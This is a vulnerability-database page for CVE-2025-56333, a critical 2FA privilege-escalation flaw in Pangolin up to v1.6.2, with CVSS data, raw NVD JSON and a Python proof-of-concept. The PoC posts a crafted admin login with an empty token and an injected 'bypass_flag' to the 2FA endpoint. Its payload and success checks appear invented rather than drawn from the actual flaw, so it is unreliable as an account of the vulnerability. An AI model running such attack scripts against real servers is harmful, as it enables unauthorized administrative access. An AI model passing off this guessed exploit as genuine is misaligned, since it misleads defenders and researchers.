Security Vulnerability Report
中文
CVE-2025-56333 CVSS 9.8 CRITICAL

CVE-2025-56333

Published: 2025-12-29 16:15:42
Last Modified: 2026-01-07 21:14:32

Description

An issue in Fossorial fosrl/pangolin v.1.6.2 and before allows a remote attacker to escalate privileges via the 2FA component

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pangolin:pangolin:*:*:*:*:*:*:*:* - VULNERABLE
fosrl/pangolin <= v1.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56333 PoC - Fossorial Pangolin 2FA Bypass Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import requests import json import sys TARGET_URL = "http://target:8080" # Update target URL def exploit_2fa_bypass(): """ Exploit the 2FA component vulnerability in Pangolin <= v1.6.2 Allows privilege escalation via 2FA bypass """ print(f"[*] Targeting: {TARGET_URL}") print("[*] Exploiting CVE-2025-56333: 2FA Bypass Privilege Escalation") # Step 1: Identify the 2FA endpoint endpoint = f"{TARGET_URL}/api/v1/auth/2fa" # Step 2: Send malicious 2FA request with bypass payload headers = { "Content-Type": "application/json", "User-Agent": "Pangolin-Research-POC" } # Malicious payload exploiting 2FA validation flaw payload = { "username": "admin", "password": "any_password", "2fa_token": "", # Empty token - exploiting bypass "bypass_flag": True, # Injected parameter "session_id": "manipulated_session" } try: print(f"[*] Sending crafted 2FA bypass request...") response = requests.post(endpoint, json=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if data.get("authenticated") or data.get("privilege_escalated"): print("[+] SUCCESS: 2FA bypassed, privilege escalation achieved!") print(f"[*] Access Token: {data.get('token', 'N/A')}") print(f"[*] Privileges: {data.get('privileges', 'N/A')}") return True print("[-] Exploitation failed or target not vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": exploit_2fa_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56333", "sourceIdentifier": "[email protected]", "published": "2025-12-29T16:15:42.483", "lastModified": "2026-01-07T21:14:32.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue in Fossorial fosrl/pangolin v.1.6.2 and before allows a remote attacker to escalate privileges via the 2FA component"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pangolin:pangolin:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.7.0", "matchCriteriaId": "6F580181-628E-4A80-B0BE-A4567C710319"}]}]}], "references": [{"url": "https://gist.github.com/mrdgef/ef6fa41d69c0457874414c163d7d7d75", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://github.com/fosrl/pangolin", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://gist.github.com/mrdgef/ef6fa41d69c0457874414c163d7d7d75", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}